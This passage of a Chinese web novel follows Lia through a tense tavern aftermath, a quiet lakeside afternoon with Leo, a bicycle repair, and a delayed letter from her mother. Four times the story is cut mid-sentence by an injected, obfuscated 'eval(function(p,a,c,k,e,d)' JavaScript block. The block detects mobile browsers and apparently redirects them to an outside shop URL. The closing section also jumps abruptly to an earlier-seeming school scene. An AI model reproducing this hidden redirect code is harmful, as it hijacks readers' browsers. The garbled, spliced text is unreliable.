原本散坐在各处喝酒、看报、闲聊的男人们……头发花白的老沃尔特、总是阴沉着脸的汉克、五金店的常客比尔，甚至还有几个平时最沉默寡言、仿佛只活在阴影里的男人几乎在同一瞬间，默不作声地站了起来。 他们没有叫骂，没有威胁的动作，只是静静地、如同磐石般立在原地，所有的目光都沉沉地压在维克多一个人身上。 那是一种无声的、集体的举动，比任何咆哮都更具压迫感。 酒馆里的空气仿佛凝固了，沉重得让人窒息。 维克多的脸色终于彻底变了。 他再横，也看清了眼前无法抗衡的局势，嚣张的气焰像被戳破的气泡，迅速干瘪下去。 他眼神慌乱地扫过周围那些沉默的面孔，又看看面无表情、目光冰冷的希卡。最终，悻悻地垂下了手臂。 “……操……算你们狠……”他含糊地嘟囔着，手忙脚乱地抓起桌上那点可怜的硬币，像只被打瘸的野狗，跌跌撞撞地推开人群，狼狈不堪地冲出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790929|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了酒馆大门。 紧绷的空气这才缓缓流动起来。 男人们互相看了一眼，默契地沉默着重新坐回原位拿起酒杯，嘈杂声渐渐回升。 莉齐猛地挣脱了莉娅的手，身体仍在轻微发抖。她谁也没看，喉咙里发出一点模糊的声响，像是哽咽，又像是咒骂：“今天……手气背……不玩了……” 说完转身，离开了酒馆。 “莉齐。”莉娅担心地喊了一声，立刻追了出去。 她看到莉齐并没有跑远，就靠在酒馆外粗糙的原木墙壁上，额头抵着手臂，肩膀绷得紧紧的。莉娅慢慢走过去，没有立刻碰她只是站在她身边。 湖风吹过，带来傍晚的凉意。远处湖面被太阳染成一片熔金般的橙红，水鸟成群地飞向归巢。 过了好一会儿，莉娅才轻声开口，声音柔和得像拂过水面的微风：“要不要……去湖上走走？” 莉齐没有回答，但也没有反对。 她直起身，依旧低着头，默不作声地跟着莉娅走向她停泊小船的小码头。 莉娅解开缆绳，莉齐沉默地跨上船头，抱着膝盖把自己缩成一团。 启动马达，小船滑离岸边驶向被太阳余晖笼罩的广阔湖面。 莉娅没有试图安慰，也没有追问，她知道此刻任何言语都可能是再次触碰伤口。 她只是专注地开着船，将小船驶向湖心一处她偶然发现的秘密水湾，那里被茂密的垂柳和茂盛的灌木丛掩蔽，入口狭窄几乎不为人知。 小船无声地钻过垂落的枝条屏障，眼前豁然开朗。 这是一个与世隔绝的小小水域，水面平静如一块巨大的琉璃，完美倒映着四周苍翠的植被和天空渐变的色彩，这里安静得只能听到水波轻舔船身的声音和远处偶尔传来的几声鸟鸣。 “到了。”莉娅轻声说，将船停靠在岸边。 她们脱掉鞋子坐在岸边，把脚浸入清凉的湖水中。细小的鲦鱼被惊动，好奇地游过来，触碰着她们的脚趾，带来细微的痒意。 时间在寂静中缓缓流淌，夕阳一点点沉入远方的林线之下，天空的色彩愈发浓烈而变幻莫测。她们就这样并肩坐着，一言不发，任由湖风拂过发梢，带走皮肤上最后一点暑气。 莉娅捡起身边一块扁平的鹅卵石，侧身打了个水漂，石片在水面上跳跃了四五下，划出一串涟漪，才沉入水底。 莉齐的目光无意识地追随着那些散开的波纹。 良久，莉齐忽然动了一下。 她也摸索着找到一块石头，学着莉娅的样子扔出去，石头笨拙地砸进水里只溅起一朵水花。她似乎有些不甘心又找了一块，再试，这次稍好一些跳了两下。 莉娅没有说话，只是又递给她一块形状合适的石子。莉齐接过深吸一口气，更专注地甩出去。石片在水面上弹跳了三次。 她看着那最后的涟漪散去，紧绷的肩膀似乎微不可察地松弛下来。莉齐没有再尝试，只是抱回膝盖，下巴搁在膝头，望着远处最后一抹霞光。 “……那混蛋……”她的声音很轻几乎融在水声里，“……有几句屁话……没说错。” 11. chapter 11 莉娅安静地听着，没有打断。 “我确实……不像他们觉得女人该有的样子。”莉齐的声音很低，“我爸妈早当我没了，信都很少写。” 她停顿了很久，久到一只苍鹭从对岸飞起，翅膀扑棱的声音清晰可闻。 “有时候……是挺没劲的。” “你还有希卡，莉娅的声音同样轻柔，“还有沃尔特他们，还有我。” 莉齐转过头，看向莉娅。她的眼眶比刚才更红了些，吸了吸鼻子，忽然猛地用手舀起一捧湖水，毫无预兆地泼向莉娅。 “让你看见我这副熊样子。” 她嚷道，试图让语气变得凶巴巴，却掩盖不住底下那一点点软化的东西。 冰凉的湖水溅在脸上，莉娅愣了一下，随即反应过来也忍不住笑了。 她立刻用手划水回敬过去：“嘿，你等着。” 两个女孩在这片与世隔绝的水湾里，用水花互相攻击起来。 她们踩着水，追逐着，笑声和惊叫声打破了之前的沉寂，惊得一群野鸟扑棱棱地从芦苇丛中飞起。 等她们终于累得喘不过气，浑身湿透地躺倒在带着夜露清香的草地上时，天空已经变成了深邃的靛蓝色，最早的几颗星星开始微弱地闪烁。 湖风吹过湿透的衣衫，带来凉意，却也让人感到一种畅快后的平静。 “喂，莉娅。”莉齐望着星空，声音恢复了大部分往常的调子，虽然还残留着一丝沙哑。 “嗯？” “这地方……不错。”她说，“谢了。” 莉娅在渐浓的暮色里微笑起来。 * 日子像湖水般，表面平静地向着秋季流淌。 八月的最后几天空气彻底改变了质地，清晨的薄雾带着沁人的寒凉，笼罩着湖面和林子，直到太阳升高才恋恋不舍地散去。白杨树和桦树的叶片边缘开始偷偷泛起黄晕，橡树则变得更深沉。 空气中弥漫着熟透的黑莓的甜香、干燥的松针味，以及一种淡淡的、属于离别和变迁的气息。 夏天的盛大狂欢即将落幕，开学季的躁动隐约可闻。 对莉娅而言，这种季节转换还伴随着另一种期盼。她最好的朋友，奥黛丽就快要从她舅舅的农场回来了。 整个暑假奥黛丽都会定期从那边寄来明信片，上面印着肥硕的奶牛或是巨大的麦穗图案，用她活泼跳跃的字迹写满农场的趣事。比如学挤牛奶时被牛尾巴甩了一脸的狼狈、追赶逃跑小猪却摔进泥坑的闹剧、在巨大的干草垛里看星星的浪漫夜晚。 每张明信片的结尾总是写着“想念你”和“迫不及待想回家”。 莉娅总是认真地回信，她坐在窗边的小书桌前，笔划过粗糙的信纸，发出沙沙的声响。 她告诉奥黛丽橡林镇夏日尾声的景致，告诉她湖水的颜色如何一天天变得更深邃，告诉她自己在学着制作腌鱼。 「如果你回来时没有被熏跑，也许能尝到第一口。」 她写起在“鲈鱼喉”的见闻，写老渔夫们夸张的故事，当然也写到了莉齐。 「你一定会喜欢她的，奥黛丽。」莉娅写道，脸上带着一丝笑意。 「我简直没法想象你们俩见面会是什么样子，肯定像火星撞地球一样热闹。她划船比所有男孩都快，知道湖上每一个秘密角落，说话声音能盖过风暴。我觉得你们肯定会成为死党，虽然我有时担心你们俩凑在一起，会不会把整个橡林镇给掀个底朝天……」 她想象着奥黛丽开朗明亮的笑容遇上莉齐莽撞奔放的生命力，那画面让她忍不住微笑起来。 莉娅依然保持着她的日常节奏。 地窖里的腌鱼在幽暗凉爽的环境里静静发生着变化，散发出越来越浓郁复杂的咸香，混合着杜松子和月桂叶的特殊气息。 她继续去帮米勒夫人整理日渐凋零的花园，收割最后一批晚熟的豆子和番茄，将枯黄的藤蔓清理干净。 米勒夫人有时会一边揉着酸痛的腰，一边指着某株特别茁壮的紫苑花说：“这棵还是你妈妈当年帮我分株移过来的，瞧它这霸道的长势，跟她一个脾气。” 或者，在喝莉娅泡的薄荷茶时，会忽然笑着说：“艾米丽以前总笑话我泡的茶像刷锅水，说她女儿将来肯定比她强。还真让她说对了。” 这些碎片化的往事，让母亲以一种更生动的方式存在于莉娅的周遭，仿佛她只是出了趟远门。 莉娅每次都听得入神，她贪婪地收集着这些点滴，像拼图一样试图拼凑出一个更完整的、她未曾了解过的年轻时的母亲。 “鲈鱼喉”酒馆依旧是她常去的地方。莉齐似乎已从那次冲突中恢复，依旧大声说笑，跟老渔夫们掰手腕，并且通常能赢。 她还经常吹嘘自己钓到的、尺寸通常被夸大了一倍鱼。 镇上的生活重心正悄然转移，杂货店的橱窗里摆出了成沓的写字板、崭新的铅笔和镶着铁皮边的书包。母亲们开始聚集在邮局门口或教堂走廊下，比较着采购清单，议论着孩子的身高又窜了多少，抱怨布料的涨价。 一种熟悉的、属于九月初的忙碌和期待感在空气中酝酿。 一年一度的秋季长曲棍球联赛即将到来，这是小镇深秋后最盛大的事。橡林镇的男孩们，包括利奥·米勒已经紧张训练了好一阵子。空气里不仅弥漫着秋意，还夹杂着一种竞赛前的紧绷感。 就在初赛前三天，霍奇斯先生出人意料地宣布放假两天。 “都把肌肉给我放松下来。” 他洪亮的声音在训练场上回荡，“绷得像拉紧的弓弦一样，上场非断不可。都给我回去好好睡觉，别瞎折腾，让身子骨歇歇，谁敢偷偷加练我饶不了他。” 于是，平日下午本该充满奔跑脚步声、球棍碰撞声和呼喊声的湖边训练场，突然安静了下来。 这样一个难得的放松日下午，阳光暖和却不灼人，莉娅决定去湖东岸那片少有人至的河滩看看。 那里水清沙细，通常只有几只水鸟光顾，她需要一点独处的空间远离小镇的视线，也暂时放下心底那缕关于母亲信件的、不愿深究的不安。 她乘着小船沿着湖岸线慢慢前行，岸边的树林色彩层次已然丰富起来，深绿与锈红交织，倒映在如镜的湖面上。 快到东岸时，她意外地看到另一条小船系在一棵歪脖子山核桃树下，随着水波轻轻荡漾。 那是镇上常见的渔船样式。 她将自己的船轻轻靠岸，踏上细腻的白沙。 沙滩靠近树林的一侧，一个人影背对着她，坐在一根被湖水冲刷得光滑无比的巨大浮木上。 他穿着简单的亚麻衬衫，袖子卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790930|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到手肘，露出结实的小臂。他只是安静地坐在那里，望着远处水天相接的地方。 是利奥·米勒。 莉娅犹豫了一下，不知是该悄悄退回船上，还是打个招呼。她的脚后退一步踩在干燥的落叶上，发出细微的脆响。 利奥似乎并未被惊动，但他微微偏了下头，表示他知道有人来了。没有抬头，也没有说话，依旧维持着之前的姿势，仿佛她的到来只是风吹过树林一样自然。 莉娅迟疑地走近了几步，在离他几步远的地方停下。两人之间隔着一段沉默的距离，只能听到湖水轻柔拍打沙滩的刷刷声，和远处潜鸟的一声孤独鸣叫。 “教练放了你们假？” 莉娅终于开口，声音在空旷的湖边显得有些轻。 “嗯。”利奥应了一声，算是回答，他的目光依然投向湖面远方。 又是一阵沉默，但这沉默并不完全令人尴尬，反而有种奇怪的宁静。莉娅也望向湖面，看到一群野鸭排成楔形，正向南飞去。 “他们看起来也很忙。”她轻声说。 利奥的视线似乎追随着那群野鸭移动了片刻，他极轻微地点了下头。 莉娅不再试图说话，她在离他那根浮木不远处的沙地上坐了下来，抱着膝盖。秋日的阳光晒得人后背暖洋洋的，她看着水面闪烁的碎金，感受着微风拂过脸颊。 时间在这里似乎流淌得格外缓慢。 不知过了多久，利奥的声音忽然响起，低沉而平静几乎被水声掩盖：“这里很安静。” 莉娅转过头看他。 他还是没有看她，侧脸线条在光线下显得有些冷硬，但眼神似乎比平时在镇上遇到时柔和少许。 “嗯，”她表示同意，“比训练场安静多了。” “训练场也不总是吵。”他说。 停顿了一下后仿佛在斟酌词句，“……声音不一样。” 莉娅琢磨着这句话，训练场上的喧闹是沸腾的，而这里的寂静是广阔而包容的。 又一阵风吹过带来更深的凉意，几片早熟的黄叶从他们头顶的树上旋转飘落，悄无声息地落在沙滩和水面上。 “起风了。”莉娅轻声说。 利奥终于动了一下。 他弯腰从浮木旁拿起一个水壶，拔开塞子，喝了一口。 然后出乎莉娅意料地，他将其递向她。 莉娅愣了一下接过水壶，里面装的似乎是清水，冰凉沁人。 她小心地喝了一小口，递还回去。 “谢谢。”她说。 他接过后重新塞好，放在身边。 又是一个简短的音节：“嗯。” 这短暂而奇异的交流之后，沉默再次降临，却似乎比之前更易于相处了。他们就像两个偶然停泊在同一处避风港的旅人，共享着片刻的宁静，无需多言。 太阳渐渐西沉，将两人的影子在沙滩上拉得长长的。湖对岸的橡林镇开始笼罩在柔和的暮霭中，炊烟袅袅升起。 利奥站起身，动作干脆利落。 他拍了拍裤子上的沙粒，然后看向莉娅，这是今天下午他第一次真正意义上的直视她，那双灰蓝色的眼睛里依旧没什么明显的情绪，但也没有平日的疏离。 “该回去了。”他说。 莉娅点点头，也站起来。 12. chapter 12 利奥没有再多说一个字，只是利落地解开缆绳推船入水，接着跃上船板。他划出去几码远，却没有立刻转向镇子方向，而是停了一下背对着西沉的落日，轮廓显得有些模糊。 他似乎微微侧头，像是要说些什么，但最终什么也没说。只是抬起手挥了一下，然后便用力划动船桨，小船稳稳地破开水面向着镇子方向驶去，很快变成暮色湖面上的一个剪影。 莉娅站在原地看着他远去，湖风吹起了她的头发。她慢慢走回自己的小船，解缆启程，夕阳将湖水染成一片瑰丽的紫红色，归途显得格外宁静。 周一的早晨，天空是那种清澈透亮的秋日蓝。莉娅像过去几周一样推开小屋的门，走向那个立在院口的、油漆剥落的信箱。 微凉的晨风吹拂着她的发丝。 她伸出手握住金属门闩，心里默默揣测着也许今天会有母亲的来信，解释之前的沉默。 也许会有奥黛丽的最后一张明信片，预告归期。 也许…… “咔哒”一声轻响信箱门被打开，里面空空如也，只有几粒不小心被风吹进去的沙尘，和一股混合着铁锈和陈年木头的气味。期盼像被戳破的气球，倏地一下瘪了下去。 已经连续第三个星期没有收到母亲的信了。 这次比往常晚了一个多小时了，邮差老汤姆那辆引擎咳嗽得像得了肺气肿的绿色卡车，早该吭哧吭哧地爬过米勒家门前那个缓坡了。 莉娅关上信箱门，眉头微蹙，转身望向隔壁米勒家那幢白色小屋。 利奥的母亲正像往常一样在她家门廊前那块收拾得井井有条的花圃里忙碌着，修剪着那些在秋霜中依然倔强挺立的紫苑和菊花的残枝。 “米勒夫人，”莉娅走过去，声音里带着焦虑，“您看到汤姆先生了吗？今天的信……好像还没到。” 米勒夫人直起腰，拍了拍手套上的泥土，她的目光掠过莉娅投向空荡荡的马路尽头：“哦老汤姆啊，也许是被什么事耽搁了吧。你知道的，也许是湖湾路那边又掉了根树枝，或者他那只总爱跳车的肥猫‘船长’又跟他玩起了捉迷藏。放心孩子，信总会到的。” 就在这时，马路另一头出现了一个蹒跚的身影。 是安娜，镇上杂货店老板娘，也是米勒夫人最亲密的朋友之一。 但她此刻的样子可一点都算不上好，她推着一辆自行车，走得一坡一坡，姿势别扭得像一只被踩了爪子的螃蟹。 更显眼的是，自行车的前轮已经严重变形，歪扭成一个近乎滑稽的角度，活像一块被顽童咬了一口又吐出来的扭曲饼干。 安娜的头发有些散乱，脸上沾着点点尘土，一边走一边低声嘟囔着，仿佛在跟某个看不见的对手进行一场激烈的辩论。 “我的老天，安娜。”米勒太太惊呼一声，扔下手中的小铲子，快步迎了上去。 莉娅也紧随其后。 “你这是怎么了？”米勒太太搀住安娜的胳膊，莉娅则赶紧扶住了那辆饱受摧残的自行车。 安娜喘了口气，用空着的那只手指着来时的方向。 “就是那个该死的弯道，跟你们说了多少年了，那个路肩塌陷得能吞下一头小牛犊。政府那帮拿着我们税钱的家伙，屁股就像焊在了办公椅上，当年小南希就是……” 她顿了顿，利奥的姐姐多年前在同一个坡道摔伤，“……唉，不提了，我看他们是非要等到出了人命才会动弹一下。” 她一边抱怨，一边却下意识地用胳膊紧紧护着挎在身前的一个帆布小包，仿佛里面装着什么无比珍贵的东西。 莉娅注意到安娜的脚踝有些红肿，显然也扭伤了。 “先别管那帮官僚了，快进屋坐下。”米勒太太果断地说，和莉娅一起半搀半扶起安娜。 阳光透过蕾丝窗帘，在擦得锃亮的橡木桌面上投下斑驳的光影。 安顿安娜坐在椅子上后，玛乔丽熟练地拿出药箱，准备处理她脚踝的伤。 这时她像是突然想起了什么，对莉娅说：“好孩子，能麻烦你去把利奥叫醒吗？自从霍奇斯教练给他们放了假，那小子就像进入了冬眠的熊，好像要把整个赛季缺的觉都补回来。我得看着安娜，抽不开身。” 她又转向安娜，语气自然地补充道：“让利奥去看看你的自行车，也许他能想办法弄直那个轮子。莉娅你也去帮帮他吧，两个人总快些。” 莉娅愣了一下，她在机械方面简直是个彻头彻尾的门外汉，连给自行车链条上油都搞得一手黑糊。 而且，她更担心安娜的伤势：“我……我去能帮上什么忙呢？安娜的脚……” “需要个递扳手的。” 一个带着浓重睡意的、低沉的声音从厨房门口传来。 利奥不知何时已经站在那里，他只穿着一条旧的工装裤，上身是件松垮的白色汗衫，头发乱糟糟地翘着，眼神还有些朦胧。 他揉了揉眼睛，目光掠过母亲落在安娜扭伤的脚踝上，然后看向莉娅，言简意赅：“走吧。” 他的直接反而让莉娅没了犹豫的余地。 她看了看米勒太太，后者递给她一个“去吧，没事”的眼神。安娜也挥挥手：“快去快去，让那小子显摆他的手艺去，我这儿有人呢。” 莉娅只好跟着利奥走出了厨房。 利奥径直走向屋子旁边的旧仓库，那是他的“地盘”。 旧仓库里弥漫着机油、干草和木材混合的独特气味，阳光从高窗斜射进来，照亮了空气中的尘飞舞埃。 利奥走到一个角落，弯腰拖出一个硕大的、看起来颇有些年头的木制工具箱。箱子本身就很沉重，边角包着黄铜，虽然布满划痕和油污，但木质表面却被摩挲得异常光滑。 这是他已故的父亲留给他的。 在那个年代，在橡林镇这样的地方，一个男人常常将工具箱连同修理技能一起传给儿子，就像是教给了面对生活抛来的任何问题的解决能力，无论是漏水的水管、嘎吱作响的门扉。 利奥打开箱盖，里面工具很齐全。 扳手、钳子、螺丝刀、榔头，每一件都擦拭得干净。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790931|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >利奥把工具箱搬到仓库中央宽敞些的地方，然后出去把安娜那辆前轮歪成“S”形的自行车推了进来。 他蹲下身，仔细检查着变形的轮圈和辐条。 然后示意莉娅靠近些：“把那个最大的活动扳手递给我。对，那个。” 他指着工具箱里的一件工具。 莉娅依言照做，看着他如何用扳手卡住轮轴，尝试初步校正扭曲的角度，接着他调整一根根弯折的辐条。 “辐条扳手。”他头也不抬地伸出手。 莉娅在工具箱里翻找着，那些形状各异的工具对她来说如同天书。 她拿起一个看起来有点像小螃蟹爪子的工具，迟疑地递过去。 利奥接过来，试了一下，摇摇头：“这个是扩孔器，旁边那个，带小缺口的。” 莉娅赶紧换了一个。 这次对了，利奥用辐条扳手小心地拧紧或放松一根根辐条，时不时转动车轮。仓库里只剩下金属轻微的刮擦声、扳手拧动时的咔哒声，以及两人轻微的呼吸声。 在递送工具的间隙，莉娅的目光不由自主地在工具箱里游移。 在一个隔层里，她看到了一小卷熟悉的渔线，还有一个旧的木质假饵。 那是他父亲以前常用的。 旁边还有一截磨损严重的皮质项圈，金属扣环已经有些锈迹，那是波比的狗链。 波比是条金色的巡回猎犬，从利奥记事起就在家里了。 它温顺、忠诚，波比老得走不动路的时候，毛色暗淡、眼神浑浊，但它还是喜欢趴在门廊上，守着家。 在利奥父亲去世后不到一周，波比就在一个傍晚悄无声息地消失了。它太老了，老得几乎看不见也听不清，但它似乎感知到了主人的离去，选择了一种最安静的方式告别。镇上的人帮着找了好几天，最后在树林深处找到了它，它安静地躺在那里，像是睡着了。 那时利奥才七岁，莉娅也差不多大。 大人们在树林里找到波比时，利奥没有跟上去，而是躲在了那个比他还要高的旧工具箱后面。莉娅记得自己当时很害怕，但她还是凭着本能找到了他。 仓库里光线昏暗，只有高窗投下几缕微光。小利奥蜷缩在角落，把头深深埋进膝盖里，却发不出一点声音。莉娅走过去，挨着他坐下。 她不知道能说什么来安慰他，关于死亡和离别她自己也不懂。她只是拿着布娃娃，笨拙地塞进利奥的怀里。然后她伸出自己的手，紧紧握住了他的拳头。 两个孩子就那样并排坐着，在满是工具和回忆气味的仓库里，一言不发，直到阴影拉长夜幕降临。那是语言无法抵达的深处，是两颗幼小心灵在最原始的悲伤面前，所能给予彼此的最纯粹的陪伴。 “需要润滑剂。” 利奥的声音打断了莉娅的回忆，她赶紧在工具箱里寻找，递过一个油壶。 看着利奥专注而熟练的侧脸，莉娅轻声问道，更像是在问自己：“利奥，你觉得……是当一个快乐的傻子比较好，还是当一个聪明的可怜人比较好？” 13. chapter 13 利奥正在拧紧最后一根辐条的手停顿了一下。 他没有立刻回答，而是继续完成手上的动作，然后转动车轮。车轮发出均匀的、轻微的嗡嗡声，运转正常后他放下工具，抬起头。 他明白她问的是什么。 沉默了几秒钟，然后开口：“傻子不一定快乐，聪明人……也不一定可怜。” 他顿了顿，仿佛每个字都需要斟酌，“但知道真相，至少……你可以选择怎么面对。” 自行车修好了，他们一起把它推回屋前。 厨房里米勒太太已经帮安娜处理好了脚踝，用绷带包扎得妥妥帖帖。空气中弥漫着咖啡和煎培根的香气，米勒太太和安娜正聊着天，看到他们回来，安娜立刻夸张地赞扬起利奥的手艺，仿佛他刚修复的不是一辆自行车，而是一架航天飞机。 “快来孩子们，吃点东西。”米勒太太招呼道。 早餐很简单，但充满了家的味道。煎得金黄的培根、炒鸡蛋、烤面包片，还有米勒太太自己做的野莓果酱。 莉娅尝了一口炒鸡蛋，然后抬头。 米勒太太捕捉到她的目光，温和地笑了笑：“艾米丽以前总说我炒鸡蛋火候太大，她喜欢嫩一点的。今天这份我是按她的法子做的，好吃吗。” 莉娅笑着点点头，她吃着早餐，听着米勒太太和安娜用那种只有多年老友才有的熟稔语气聊天，内容从镇上最新的八卦，到对政府办事效率的抱怨，再到回忆她们年轻时的荒唐事。 安娜时不时因为脚疼而龇牙咧嘴，但精神头很好。 利奥吃得很快，沉默寡言，吃完后说了声“我去湖边走走”便拿起外套离开了。 莉娅又陪两位长辈坐了一会儿，直到安娜的丈夫开着卡车来接她。 安娜被搀扶上车时，还不忘回头对莉娅眨眨眼：“信会到的，亲爱的别着急。老汤姆肯定又是被他的猫耽误了。” 送走安娜，莉娅也向米勒太太道别。当她再次走向那个信箱时心情已然不同，她深吸一口气，打开了信箱门。 这一次里面躺着一封信。 信封是普通的白色，上面的字迹是母亲的笔迹。一种巨大的宽慰和莫名心慌的情绪攫住了她，她小心翼翼地取出信，撕开封口。 信纸上的字迹略显潦草，不如以往工整。 「我最亲爱的莉娅：请原谅妈妈这么久才给你写信，工作非常忙，你知道的我一沾床就睡，我每天都在想念你，想念橡林镇的湖风，想念我们小屋里阳光的味道。 听说奥黛丽快要回来了？我真为你高兴，有好朋友在身边日子会过得快些。腌鱼做得怎么样了？等我回去，一定要第一个品尝。 替我向米勒夫人和安娜问好，感谢她们对你的照顾。照顾好自己，我的小战士。 爱你的，妈妈。」 信的内容似乎合情合理，解释了延迟的原因，表达了关爱和思念。笔迹虽然潦草，但确实是母亲的。 莉娅反复读了几遍，心中的一块大石头似乎落了地，但另一丝疑虑像水底的暗流。 一直存在。 她将信折好塞回信封，紧紧攥在手心，仿佛这样就能抓住一点确凿的东西。 过一会她将信塞进口袋，决定暂时不去深究。她需要一点时间，像利奥那样安静地消化这一切。 莉娅走出小屋，漫无目的地沿着湖岸行走。 湖水平静倒映着高远的蓝天，偶尔有雁群掠过，留下悠长的鸣叫。 不知不觉又走到了湖东岸那片白沙滩，这里空无一人只有风吹过松林的呜咽声和湖水轻拍岸边的节奏。她在利奥上次坐过的那根光滑浮木上坐下，望着辽阔的湖面。那份奇异的宁静再次包裹了她。在这里小镇的喧嚣、内心的焦虑，似乎都被这广阔的空间稀释了。 她拿出那封信，又读了一遍又一遍。 坐了很久，直到太阳西斜将湖面染成一片温暖的橙红，莉娅才起身返回。 回到米勒家附近时，她看到利奥正从湖边的小路走来，手里提着一条不小的鲈鱼。 他看到莉娅后，脚步顿了顿，目光在她脸上停留了一瞬。 莉娅挤出一个微笑，指了指他手里的鱼：“看来放松训练对钓鱼手艺也有帮助？” 利奥低头看了看鱼，又抬眼看看她，嘴角似乎向上牵动了一下，几乎算不上是笑容，但眼神里的某种东西柔和了些。 “它撞到我鱼钩上了。”他言简意赅地说。 干巴巴的，却莫名让人想笑。 “信收到了？”他接着问。 “嗯。”莉娅点点头，拍了拍口袋，“妈妈写的，她说最近工作太忙了，所以信迟了。” 利奥“嗯”了一声，没有再追问。 两人并肩沉默地走了一小段路。 快到莉娅家小屋时，利奥忽然开口，声音不高：“需要帮忙的话，修东西或者……别的什么的话，你知道去哪里找我的。” 莉娅停下脚步，转头看着他。 夕阳给他的侧脸镀上了一层金边，让他冷硬的线条显得柔和了许多。 她明白他指的“别的”是什么。 他是在告诉她，他不是只有修理自行车和鱼竿的技能，他也准备好在她需要的时候，帮她面对那些更复杂、更令人心碎的生活的“歪车轮”。 “谢谢。”她轻声说，这次的笑容真实了一些，“我知道。” 她看着他走向自己家，那条鲈鱼在他手里有节奏地晃动着。然后她转身打开自家小屋的门，屋内寂静，空气中漂浮着淡淡的松木和腌鱼的味道。 她走到窗边的小书桌前，将那封皱巴巴的信小心地抚平，放进一个木盒里，那里已经积攒了厚厚一沓母亲之前的来信。 她拿起笔，铺开信纸，准备给母亲回信。 笔尖悬在纸上，她犹豫了一下。最终她决定像母亲一样，报喜不报忧。 她写了奥黛莉即将回来的兴奋，写了腌鱼的成功，写了橡林镇的美景，甚至写了利奥修好安娜自行车的小插曲。 她的笔迹工整而认真，向母亲传递一种“一切都好”的稳定感。 八月的溽热终于被九月初的一场夜雨洗刷殆尽，空气中残留着泥土的腥甜和一丝凛冽的预兆。 糖枫树的边缘已经开始泛起绯红，清晨的阳光斜斜地穿透这些渐变的叶子，在蒙着薄尘的乡间小路上投下斑驳陆离的光影。 对于生活在这个名叫橡林镇的小地方的人们来说，夏天结束的标志不是日历上的某个日期，而是第一片变色的枫叶和校车那熟悉又沉闷的柴油发动机声。 莉娅系好那双擦得干净的帆布鞋鞋带，最后看了一眼寂静得有些过分的家。整个暑假她都是这间湖边小屋的唯一主人，母亲艾米丽远赴他乡工作，每周都有信与生活费准时寄来。 「一切安好，照顾好自己，爱你的妈妈。」 回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790932|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信却越来越少，越来越短。 为了填补空荡荡的时间和一些额外的零用，她接下了给“鲈鱼喉酒馆”送新鲜鲈鱼的差事。大部分空闲时间，她则沉浸在那架几乎被母亲翻烂了的书架里。 她锁上门，走向路口那辆黄色校车，鞋底踩在砂石路上发出嘎吱声。 “莉娅这儿，给你占着位子呢。” 是奥黛丽·霍金斯。 她最好的朋友，正从车厢中后部探出火红色的脑袋，用力挥舞着手臂。莉娅脸上浮现出真心的笑容，穿过过道里互相打招呼、交换暑假见闻的学生，挤到了奥黛丽身边。 “老天，你可算出现了，”奥黛丽往里挪了挪，拍了拍座位，“我还以为你终于决定追随梭罗，搬到瓦尔登湖边上隐居去了呢。” 她的话语总是带着一丝夸张的戏剧色彩。 莉娅把书包塞到脚下：“只是出门前又看了几页书，差点忘了时间。” 她打量着奥黛丽，“你看上去……像在农场里被精心喂养了一个夏天，更结实了。” “精确的评价。”奥黛丽得意地屈起手臂，展示了一下并不明显但确实存在的肱二头肌，“农场的功劳，每天除了吃就是干活，搬干草、赶牲口，比在健身房傻举铁强多了。秘诀就是肉，大量的肉。我告诉你莉娅，吃草可吃不出能撂倒一头小野牛的力气。” 奥黛丽·霍金斯是镇子边缘林间猎户弗兰克·霍金斯的女儿，在橡林镇霍金斯这个姓氏带着一股悍勇的色彩。这色彩源于多年前，弗兰克独自猎杀了一头在镇子周围徘徊了整整一个春天、制造了无数恐慌的加拿大猞猁。 那畜生体型异常巨大，不仅偷猎家畜，还曾在黄昏时分袭击过独自在花园里干活的老寡妇艾格尼丝，幸好老人用锄头拼命挥舞才吓退了它。弗兰克凭借经验和耐心，追踪了它近半个月，最终在乱石滩用他那把老掉牙的斯普林菲尔德步枪完成了精准的一击。 